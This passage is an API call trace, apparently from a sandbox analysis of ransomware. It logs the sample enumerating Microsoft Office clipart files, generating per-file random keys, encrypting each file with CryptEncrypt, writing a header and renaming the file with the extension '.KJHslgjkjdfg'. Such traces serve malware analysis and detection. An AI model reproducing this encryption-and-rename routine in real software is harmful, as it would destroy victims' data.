Office\\CLIPART\\PUB60COR\\FALL_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid.kjhslgjkjdfg")) returned 1 [0159.255] CloseHandle (hObject=0x114) returned 1 [0159.255] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadef6200, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xadef6200, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x45ba, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00074_.WMF", cAlternateFileName="")) returned 1 [0159.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.340] GetProcessHeap () returned 0x2a0000 [0159.340] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.340] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.340] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.340] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0159.342] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.342] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.342] GetProcessHeap () returned 0x2a0000 [0159.343] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.343] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.343] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.343] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.343] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.343] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.343] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.343] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.343] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.343] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.343] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.343] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.343] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x45ba, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x45ba, lpOverlapped=0x0) returned 1 [0159.344] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x45c0, dwBufLen=0x45c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x45c0) returned 1 [0159.344] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.344] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x45c0, lpOverlapped=0x0) returned 1 [0159.345] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.345] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4694, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.345] SetEndOfFile (hFile=0x114) returned 1 [0159.347] GetProcessHeap () returned 0x2a0000 [0159.347] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.347] GetProcessHeap () returned 0x2a0000 [0159.347] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.347] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf.kjhslgjkjdfg")) returned 1 [0159.348] CloseHandle (hObject=0x114) returned 1 [0159.348] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa5bdb00, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaa5bdb00, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x2eda, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00076_.WMF", cAlternateFileName="")) returned 1 [0159.348] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.350] GetProcessHeap () returned 0x2a0000 [0159.350] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.350] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.350] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.350] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0159.352] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.352] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.352] GetProcessHeap () returned 0x2a0000 [0159.352] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.352] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.352] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.352] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.352] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.352] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.352] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.353] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.353] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.353] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.353] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.353] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.353] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2eda, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2eda, lpOverlapped=0x0) returned 1 [0159.354] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2ee0, dwBufLen=0x2ee0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2ee0) returned 1 [0159.354] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.354] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2ee0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2ee0, lpOverlapped=0x0) returned 1 [0159.354] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.354] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2fb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.354] SetEndOfFile (hFile=0x114) returned 1 [0159.356] GetProcessHeap () returned 0x2a0000 [0159.356] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.356] GetProcessHeap () returned 0x2a0000 [0159.356] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.356] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf.kjhslgjkjdfg")) returned 1 [0159.357] CloseHandle (hObject=0x114) returned 1 [0159.357] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6bb4600, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb6bb4600, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x7620, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00077_.WMF", cAlternateFileName="")) returned 1 [0159.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.358] GetProcessHeap () returned 0x2a0000 [0159.358] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.358] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.358] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.358] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.359] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.359] GetProcessHeap () returned 0x2a0000 [0159.359] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.359] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.359] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.359] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.361] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.361] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.361] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.361] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.361] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.361] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.361] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.361] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.362] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7620, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7620, lpOverlapped=0x0) returned 1 [0159.363] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7620, dwBufLen=0x7620 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7620) returned 1 [0159.363] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.363] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7620, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7620, lpOverlapped=0x0) returned 1 [0159.364] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.364] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x76f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.364] SetEndOfFile (hFile=0x114) returned 1 [0159.366] GetProcessHeap () returned 0x2a0000 [0159.366] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.366] GetProcessHeap () returned 0x2a0000 [0159.367] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.367] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf.kjhslgjkjdfg")) returned 1 [0159.368] CloseHandle (hObject=0x114) returned 1 [0159.368] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb58a1900, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb58a1900, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x721c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00086_.WMF", cAlternateFileName="")) returned 1 [0159.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.368] GetProcessHeap () returned 0x2a0000 [0159.368] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.368] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.368] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.368] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.370] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.370] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.370] GetProcessHeap () returned 0x2a0000 [0159.370] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.371] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.371] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.371] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.371] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.371] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.371] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.371] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.371] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.371] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.371] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.371] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.371] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x721c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x721c, lpOverlapped=0x0) returned 1 [0159.372] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7220, dwBufLen=0x7220 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7220) returned 1 [0159.372] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.372] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7220, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7220, lpOverlapped=0x0) returned 1 [0159.373] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.373] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x72f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.373] SetEndOfFile (hFile=0x114) returned 1 [0159.375] GetProcessHeap () returned 0x2a0000 [0159.375] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.375] GetProcessHeap () returned 0x2a0000 [0159.375] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.375] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf.kjhslgjkjdfg")) returned 1 [0159.376] CloseHandle (hObject=0x114) returned 1 [0159.376] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a2c1c00, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a2c1c00, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x3772, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00090_.WMF", cAlternateFileName="")) returned 1 [0159.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.377] GetProcessHeap () returned 0x2a0000 [0159.377] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.377] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.377] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.377] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, 